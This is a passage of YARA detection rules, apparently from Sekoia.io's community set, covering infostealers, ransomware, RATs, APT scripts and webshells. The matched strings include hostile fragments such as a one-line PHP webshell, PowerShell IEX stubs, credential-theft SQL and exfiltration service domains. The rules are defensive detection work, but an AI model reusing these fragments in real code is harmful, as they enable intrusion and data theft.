		description = "Detects TinyShell based on strings"
		author = "Sekoia.io"
		id = "51fe9986-cb33-4802-bb8d-fe3d4cdfdcc8"
		date = "2024-09-04"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/malware_tinyshell_strings.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "fffc89ebbe6ea37072077996e27f86dd"
		hash = "59a97d4fbd3a54e991dc7e1f0451acf5"
		hash = "d7ee59eab7f703bfaf1002a39b05c7b9"
		hash = "3f2dfe47d4563919d889132b2759fd9c"
		logic_hash = "18d10e7e6f0ba8a9ea7fa8446a930f84ce5eb2f3a022ce3dc62bc3f8fd5699e1"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "_tsh_get_file"
		$ = "_tsh_put_file"
		$ = "_tsh_runshell"
		$ = "Authentication failed."
		$ = "pel_send_msg"
		$ = "exec bash --login"
	condition:
		3 of them and filesize < 150KB
}

rule SEKOIA_Generic_Bat_Script_Mock_Http_Services : FILE
{
	meta:
		description = "Generic rule detecting BAT script using mock HTTP services (used by APT28)"
		author = "Sekoia.io"
		id = "1cfbe5ba-6304-476d-8308-928100a85c16"
		date = "2023-09-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_bat_script_mock_http_services.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "d34be59cfb054895381580e7852bba6b899cfb680882b7fd24a72438131c3bee"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$bat1 = "@echo off"
		$bat2 = "chcp 65001"
		$ps1 = "WebClient"
		$ps2 = "UploadString"
		$dom1 = "mockbin.org"
		$dom2 = "webhook.site"
		$dom3 = "mocky.io"
		$dom4 = "pipedream.com"
	condition:
		(1 of ( $bat* ) or 1 of ( $ps* ) ) and 1 of ( $dom* ) and filesize < 2000
}

rule SEKOIA_Infostealer_Win_Doenerium_Str : FILE
{
	meta:
		description = "Detect the Doenerium infostealer based on specific strings"
		author = "Sekoia.io"
		id = "1645a86f-1063-4e98-a1fa-85fc8c4e9691"
		date = "2022-09-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_doenerium_str.yar#L1-L29"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "9bc28d89ad2654c33f2ecd9736f5fb3a10dfc68dfef44ece6e628f5bb8db0800"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "doenerium" ascii
		$str02 = "<================[   User Info   ]>================>" ascii
		$str03 = "<================[WiFi connections]>================>" ascii
		$str04 = "<================[Executable Info]>================>" ascii
		$str05 = "<================[ Network Data ]>================>" ascii
		$str06 = "\\Network Data.txt" ascii
		$str07 = "\\Update.exe\" --processStart" ascii
		$str09 = "\\WiFi Connections.txt" ascii
		$str10 = "\\User Info.txt" ascii
		$str11 = "\\Executable Info.txt" ascii
		$str12 = "\\Found Wallets.txt" ascii
		$str13 = "SELECT origin_url, username_value, password_value FROM logins" ascii
		$str14 = "https://cdn.discordapp.com/embed/avatars/0.png" ascii
		$str15 = "detectClipboard" ascii
		$str16 = ".gofile.io/uploadFile" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 6 of them
}

rule SEKOIA_Apt_Uac0099_Lonepage : FILE
{
	meta:
		description = "Detects LonePage vbs malware"
		author = "Sekoia.io"
		id = "007f62f5-da5c-4df7-8b5c-5ed815ce6993"
		date = "2024-01-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_uac0099_lonepage.yar#L1-L30"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "479f438acb63c76e09722640b973e76d1f1924bf24db477ca6898d123091d5f8"
		score = 75
		quality = 76
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s0 = "dim r, c" ascii fullword
		$s1 = "= createobject(\"WScript.Shell\")" ascii fullword
		$s2 = "r.Run c, 0, false" ascii fullword
		$t1 = "GetHostAddresses" ascii fullword nocase
		$t2 = "upgrade.txt" ascii fullword nocase
		$t3 = "net.webclient" ascii fullword nocase
		$t4 = "downloaddata" ascii fullword nocase
		$t5 = "[System.Environment]::NewLine" ascii fullword nocase
		$t6 = ".uploaddata('" ascii nocase
	condition:
		true and filesize < 10KB and ( ( $s1 at 0x10 and $s0 at 0 and $s2 and 2 of ( $t* ) ) or ( all of ( $t* ) and any of ( $s* ) ) )
}


rule SEKOIA_Spyware_And_Strongpity_Mobile_Backdoor : FILE
{
	meta:
		description = "Detect the mobile backdoor using the name used in the certificate"
		author = "Sekoia.io"
		id = "58ceb85b-d94f-47b2-86e4-59bd41f4fea8"
		date = "2023-01-16"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/spyware_and_strongpity_mobile_backdoor.yar#L1-L15"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "9005fe938433223f32642f6bbf7c4c58f0b927a006e283c8b12f79103ec02cfc"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "Elizabeth Mckinsen0"
	condition:
		all of them and filesize > 2MB
}



rule SEKOIA_Ransomware_Win_Chaos : FILE
{
	meta:
		description = "Detects the Chaos Ransomware"
		author = "Sekoia.io"
		id = "c1876a18-0618-44e2-8919-b4a041de97e7"
		date = "2022-01-18"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_chaos.yar#L1-L46"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "1947e6de8f74fe7bc52107d4a57e19eacf022121f5decee54a8c90797be844c6"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$rep00 = "\\Desktop" wide
		$rep01 = "\\Links" wide
		$rep02 = "\\Contacts" wide
		$rep03 = "\\Documents" wide
		$rep04 = "\\Downloads" wide
		$rep05 = "\\Pictures" wide
		$rep06 = "\\Music" wide
		$rep07 = "\\OneDrive" wide
		$rep08 = "\\Saved Games" wide
		$rep09 = "\\Favorites" wide
		$rep10 = "\\Searches" wide
		$rep11 = "\\Videos" wide
		$rep12 = "C:\\Users\\" wide
		$str0 = "svchost.exe" wide
		$str1 = "\\privateKey.chaos" wide
		$str2 = "Chaos Ransomware" wide
		$str3 = "read_it.txt" wide
		$str4 = "<EncryptedKey>" wide
		$str5 = "passwordBytes" ascii
		$str6 = "lookForDirectories" ascii
		$str7 = "Rfc2898DeriveBytes" ascii
		$str8 = "ICryptoTransform" ascii
		$str9 = "FromBase64String" ascii
		$ext0 = ".torrent" wide
		$ext1 = ".ibank" wide
		$ext2 = ".wallet" wide
		$ext3 = ".swift" wide
		$ext4 = ".onetoc2" wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 50KB and filesize < 2MB and 6 of ( $str* ) and 10 of ( $rep* ) and 4 of ( $ext* )
}

rule SEKOIA_Apt_Apt41_Powershell_Collection_Script : FILE
{
	meta:
		description = "Detects PowerShell collection script"
		author = "Sekoia.io"
		id = "55b6cc3e-24b2-4faa-a7fb-b4203a8e6d83"
		date = "2023-11-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt41_powershell_collection_script.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8b0462636c9f6270baff2bf09638e94db6d5a0472b8216ddd1919a77b6a63aca"
		score = 75
		quality = 70
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$yestoday.ToString(" ascii wide nocase
		$ = "$m.LastAccessTime -" ascii wide nocase
		$ = "$fmat=" ascii wide nocase
		$ = "$computername" ascii wide nocase
		$ = "Rar.exe" ascii wide nocase
	condition:
		filesize < 10KB and all of them
}

rule SEKOIA_Apt_Mustangpanda_Decrypt_Payload : FILE
{
	meta:
		description = "Detects the decryption routine of DAT file"
		author = "Sekoia.io"
		id = "7b954007-0929-454d-8a10-05279a337f1b"
		date = "2022-12-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_mustangpanda_decrypt_payload.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "dcc32580e351e605d21dc29558764c6fd85f8a9506de8e78f301459a5a2610b7"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$chunk_1 = {
        85 ??
        74 ??
        8B ??
        D1 EA
        A1 ?? ?? ?? ??
        03 C2
        A3 ?? ?? ?? ??
        30 04 29
        41
        3B ??
        72 EC
        }
	condition:
		filesize < 8MB and all of them
}

rule SEKOIA_Tool_Ladon_Strings : FILE
{
	meta:
		description = "Detects Ladon based on strings"
		author = "Sekoia.io"
		id = "7f06f755-a103-4e74-a9df-136355775233"
		date = "2024-06-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_ladon_strings.yar#L1-L61"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6f2a34bddea2a2370c0a45cde888f51632689973373e3c6ba739a34dc220bfa1"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$a1 = ".GetType('Ladon.Scan')"
		$a2 = "= New-object Byte[]("
		$a3 = "([IO.MemoryStream][Convert]::FromBase64String("
		$b1 = "DeflateStream([IO.MemoryStream][Convert]::FromBase64String("
		$b2 = "))}}}}}}}}}"
		$b3 = "::Main(@($"
		$b4 = "))} else {If("
		$b5 = "= [Reflection.Assembly]::Load("
		$c1 = "ChatLadon.Form1.resources"
		$c2 = "ChatLadon.Properties.Resources.resources"
		$c3 = "WebClientUploadEvent"
		$c4 = "WebClientDownloadEvent"
		$c5 = "K8robot"
		$c6 = "K8IPselect"
		$d1 = "loadASM"
		$d2 = "ConsoleApp1.exe"
		$d3 = "K8Ladon"
		$e1 = "get_network_16px_1219919_easyicon_net"
		$e2 = "K8gege"
		$e3 = "LadonExpBuild"
		$f1 = "Ladon url.txt CitrixVer"
		$f2 = "Ladon MssqlCmd"
		$f3 = "Example: Ladon "
		$f4 = "k8gege.org"
		$f5 = "K8crack"
		$g1 = "LadonStudy.exe"
		$g2 = "LadonStudy.frmMain.resources"
		$g3 = "LadonStudy.Properties.Resources.resources"
		$g4 = "K8gege"
		$h1 = "LadonShell.exe" wide
		$h2 = "ForceRemove"
		$h3 = "GetUserObjectInformationA"
	condition:
		( all of ( $a* ) or all of ( $b* ) or all of ( $c* ) or all of ( $d* ) or all of ( $e* ) or all of ( $f* ) or all of ( $g* ) or all of ( $h* ) ) and filesize < 5MB
}

rule SEKOIA_Infostealer_Win_Cinoshistealer : FILE
{
	meta:
		description = "Finds Cinoshi Stealer samples based on specific strings, or PE resources"
		author = "Sekoia.io"
		id = "2e9c066b-d5e3-4a25-8954-c10af285bcd3"
		date = "2023-06-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_cinoshistealer.yar#L1-L29"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c4d8418a7bd1bf205295100d993562c89b17b80889cad5aac7a74f89e66543ce"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "Anaida.exe" ascii wide
		$str02 = "Anaida.pdb" ascii
		$str03 = "embedder_download_data" ascii
		$str04 = "date_password_modified" ascii
		$str05 = "card_number_encrypted" ascii
		$str06 = "set_UseZip64WhenSaving" ascii
		$str07 = "set_CommandText" ascii
		$str08 = "Nss3CouldNotBeLoaded" ascii
		$str09 = "formhistory.sqlite" wide
		$str10 = "logins.json" wide
		$str11 = "\\nss3.dll" wide
		$str12 = "\\cookies.sqlite" wide
		$str13 = "\\places.sqlite" wide
		$str14 = "\\autofill-profiles.json" wide
	condition:
		uint16( 0 ) == 0x5a4d and 9 of them and filesize > 400KB
}


rule SEKOIA_Generic_Sharpshooter_Payload_10 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "477f8b92-e231-460c-8660-487d0a97f0e2"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_10.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6ded3f5b7e9c7f2c09e3bc0869e41775e4bb31a39e6fef8209f50f5091e8d2e2"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "length = enc.GetByteCount_2(b);"
		$ = "ms.Write(ba, 0, (length / 4) * 3);"
		$ = "d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);"
	condition:
		all of them and filesize < 2MB
}

rule SEKOIA_Infostealer_Win_Stormkitty : FILE
{
	meta:
		description = "Finds StormKitty samples (or their variants) based on specific strings"
		author = "Sekoia.io"
		id = "5014d2e5-af5c-4800-ab1e-b57de37a2450"
		date = "2023-03-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_stormkitty.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "57a4603faf6af9742db79f9bc8751f3a5c091b6271998434f0a3b9f5c30cb1e8"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$sk01 = "LimerBoy/StormKitty" ascii wide
		$sk02 = "StormKitty-Latest.log" wide
		$sk03 = "StormKitty.exe" ascii
		$sk04 = "Debug\\StormKitty.pdb" ascii
		$sk05 = "StormKitty.Implant" ascii
		$str01 = "set_sUsername" ascii
		$str02 = "set_sIsSecure" ascii
		$str03 = "set_sExpMonth" ascii
		$str04 = "WritePasswords" ascii
		$str05 = "WriteCookies" ascii
		$str06 = "sChromiumPswPaths" ascii
		$str07 = "sGeckoBrowserPaths" ascii
		$str08 = "Username: {1}" wide
		$str09 = "Password: {2}" wide
		$str10 = "encrypted_key\":\"(.*?)\"" wide
	condition:
		uint16( 0 ) == 0x5A4D and ( ( 1 of ( $sk* ) and 3 of ( $str* ) ) or 7 of ( $str* ) )
}


rule SEKOIA_Generic_Php_Webshell : FILE
{
	meta:
		description = "Detects generic webshell"
		author = "Sekoia.io"
		id = "415a96bd-11a4-40e7-8335-ac1f1a99d17c"
		date = "2023-12-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_php_webshell.yar#L1-L15"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "617264a785b8e9e87a39e12d7b72963d94e0686a174716347369fe71ab7a78af"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "system($_POST['a']);"
	condition:
		all of them and filesize < 500
}

rule SEKOIA_Apt_Badmagic_Generic_Pshscript : FILE
{
	meta:
		description = "Detects BadMagic generic powershell script (Possible FPs)"
		author = "Sekoia.io"
		id = "82cda554-3c2b-4c04-b9f9-b5ba50c53271"
		date = "2023-05-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_badmagic_generic_pshscript.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f442e1ba815cc7eae0c627db5ad1917021d69b8ce37155923a0f19776aeba95d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$ExecutablePath"
		$ = "Start-Sleep -Second 2"
	condition:
		all of them and filesize < 1KB
}

rule SEKOIA_Backdoor_Powershellempire_Gen : FILE
{
	meta:
		description = "Detects EmpirePowershell"
		author = "Sekoia.io"
		id = "36050a5b-bdca-45cd-8e26-7129fdcbf1e8"
		date = "2022-04-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_powershellempire_gen.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "21f255bcfb6da2aa996ed61ff5fb29a9355de6169095f7c3141a1b7f3cea5c2d"
		score = 75
		quality = 76
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "%{$J=($J+$S[$_]+$K[$_%$K.COUNt])%256;" nocase wide ascii
		$ = "($IV+$K))|IEX" nocase wide ascii
	condition:
		all of them and filesize < 1MB
}

rule SEKOIA_Win_Clipper_Generic : FILE
{
	meta:
		description = "Clipper found during investigation: 892a9edb03db3fd88fecc1e1a2f56a7339f16f6734e8d77e6538ea2c8c9026d6"
		author = "Sekoia.io"
		id = "a94b3d01-dbc7-41e4-8d45-793bf443b1d2"
		date = "2024-07-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/win_clipper_generic.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f2fb2285adb10269aaf3d028d3803775ad86833b36cf24dabb8d404a6380b505"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s = { 24 72 61 6e 70 74 68 20 3d 20 69 66 20 28 28 47 65 74 2d 52 61 6e 64 6f 6d 29 20 25 20 32 29 20 7b 20 4a 6f 69 6e 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 22 24 72 61 6e 2e 70 73 31 22 20 7d 20 65 6c 73 65 20 7b 20 4a 6f 69 6e 2d 50 61 74 68 20 24 65 6e 76 3a 41 50 50 44 41 54 41 20 22 24 72 61 6e 2e 70 73 31 22 20 7d  }
	condition:
		filesize > 1KB and all of them
}

rule SEKOIA_Rat_Win_Hiddenz : FILE
{
	meta:
		description = "Lazy rule to detect Hiddenz's HVNC sample based on te malware name contained in numerous samples"
		author = "Sekoia.io"
		id = "4e582cda-4c50-4554-8e26-9d26206a02ee"
		date = "2022-08-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_hiddenz.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "92f62c893d8a081cd52deaaac93d622fbb1c8e9c7df214e34c6b8066be72a424"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$name0 = "Hiddenz's HVNC" wide ascii
		$name1 = "Hiddenzs_HVNC_DLL" wide ascii
		$name2 = "HiddenzHVNC" wide ascii
	condition:
		uint16( 0 ) == 0x5A4D and 1 of ( $name* )
}


rule SEKOIA_Ransomware_Win_Blackcat : FILE
{
	meta:
		description = "Detect the BlackCat ransomware (Windows version)"
		author = "Sekoia.io"
		id = "873355f7-3942-4171-9df7-f524bb6b6903"
		date = "2022-01-19"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_blackcat.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8a60fd14835f9e8683c3e60a19f23bc00020ccd22e74bffbc8ed19fcb8d0e39a"
		score = 75
		quality = 80
		tags = "FILE"
		classification = "TLP:CLEAR"
		version = "1.1"
	strings:
		$s1 = "desktop_image::set_desktop_wallpaper=" ascii
		$s2 = "C:\\Users\\Public\\All Usersdeploy_note_and_image_for_all_users=" ascii
		$s3 = "propagate::none" ascii
		$s4 = "propagate::failed=" ascii
		$s5 = "propagate::ok=" ascii
		$s6 = "query_status_process::ok=" ascii
		$s7 = "enum_dependent_services::ok=" ascii
		$s8 = "enum_dependent_services::error=" ascii
		$s9 = "try_stop=" ascii
		$s10 = "try_stop::ok=" ascii
		$s11 = "try_stop::failed=" ascii
		$s12 = "stop=" ascii
		$s13 = "dependent_service_name=" ascii
		$s14 = "kill_all=" ascii
		$s15 = "detach=" ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 2MB and filesize < 4MB and all of them
}

rule SEKOIA_Implant_Lin_Lightning : FILE
{
	meta:
		description = "Detect the Lightning framework (Core & Downloader plugin)"
		author = "Sekoia.io"
		id = "56f53e89-3b63-4ce7-a3c8-da0ba37246f1"
		date = "2022-07-21"
		modified = "2024-12-19"
		reference = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_lin_lightning.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "215eea8275fa69a901f6413b334d2824086098e9a9bb2cffd7cb9df5c869be4c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "{\"ComputerName\":\"%s\",\"Guid\":\"%s\",\"RequestName\":\"%s\",\"Licence\":\"%s\"}"
		$ = "kill -9 %s"
		$ = "{%08X-%04X-%04X-%04X-%04X%04X%04X}"
		$ = "sleep 60 && ./%s &"
		$ = "cat /sys/class/net/%s/address"
		$ = "/usr/bin/netstat"
		$ = "/usr/bin/whoami"
		$ = "/usr/bin/su"
		$ = "dup2: %s"
		$ = "Linux.Plugin.Kernel_%s"
		$ = "Lightning"
	condition:
		uint32( 0 ) == 0x464c457f and 9 of them
}

rule SEKOIA_Apt_Badmagic_Listfiles_Pshscript : FILE
{
	meta:
		description = "Detects BadMagic ListFiles powershell script"
		author = "Sekoia.io"
		id = "55f1c409-234e-4feb-91a3-9bf5c41ec2b8"
		date = "2023-05-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_badmagic_listfiles_pshscript.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "4401d31e4b0484776aab51c161a301fc4ee3e944a1669df763bd274014178368"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$env:USERPROFILE"
		$ = "-Include *.jpg, *.odt, *.doc, *.docx"
	condition:
		all of them and filesize < 1KB
}



rule SEKOIA_Apt_Muddywater_Powgoop_Decode_Loop : FILE
{
	meta:
		description = "Detects the loop used in PowGoop and its loader"
		author = "Sekoia.io"
		id = "644ed1c4-e0e1-496e-9efc-7d9e15565f7b"
		date = "2022-01-13"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_muddywater_powgoop_decode_loop.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "1d60f53014fb1934a85a573856244431c8f565c2f024511991817e6235566815"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "System.Collections.Generic.List[System.Object]" ascii wide
		$s2 = "$d.Add($in[$i]);" ascii wide
		$s3 = "[System.Convert]::FromBase64String(" ascii wide
	condition:
		filesize < 1MB and $s2 in ( @s1 .. @s1 + 400 ) and $s3 in ( @s1 .. @s1 + 400 )
}

rule SEKOIA_Dropper_Mac_Lazarus_Manuscrypt : FILE
{
	meta:
		description = "MacOS Manuscrypt dropped by TraderTraitor"
		author = "Sekoia.io"
		id = "6138bd0c-1fcf-4586-b2b6-29955c7d6266"
		date = "2022-04-19"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/dropper_mac_lazarus_manuscrypt.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156"
		hash = "9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa"
		logic_hash = "dbe75a34f91906fc275c04af0fc068923993bab37a7574b3fe38733d87f31835"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "networksetup -getwebproxy '%s'" ascii
		$ = "Cookie: _ga=%s%02d%d%d%02d%s" ascii
		$ = "networksetup -listallnetworkservices" ascii
		$ = "gid=%s%02d%d%03d%s" ascii
	condition:
		uint32( 0 ) == 0xFEEDFACF and all of them
}

rule SEKOIA_Apt_Luckymouse_Rshell_Strings_All_Platform : FILE
{
	meta:
		description = "Detects LuckyMouse RShell Mach-O implant"
		author = "Sekoia.io"
		id = "e79a5ee1-96b3-4643-ab11-0b1095e96488"
		date = "2022-08-05"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_luckymouse_rshell_strings_all_platform.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ef923b6633a2b7dfa645a31c7c2d0e00872ebad6ec7748568c2b306c29b6b29b"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = { 6C 6F 67 69 6E 00 68 6F
        73 74 6E 61 6D 65 00 6C
        61 6E 00 75 73 65 72 6E
        61 6D 65 00 76 65 72 73
        69 6F 6E }
	condition:
		filesize < 1MB and all of them
}




rule SEKOIA_Rat_Win_Dcrat_Qwqdanchun : FILE
{
	meta:
		description = "Find DcRAT samples (qwqdanchun) based on specific strings"
		author = "Sekoia.io"
		id = "8206a410-48b3-425f-9dcb-7a528673a37a"
		date = "2023-01-26"
		modified = "2024-12-19"
		reference = "https://github.com/qwqdanchun/DcRat"
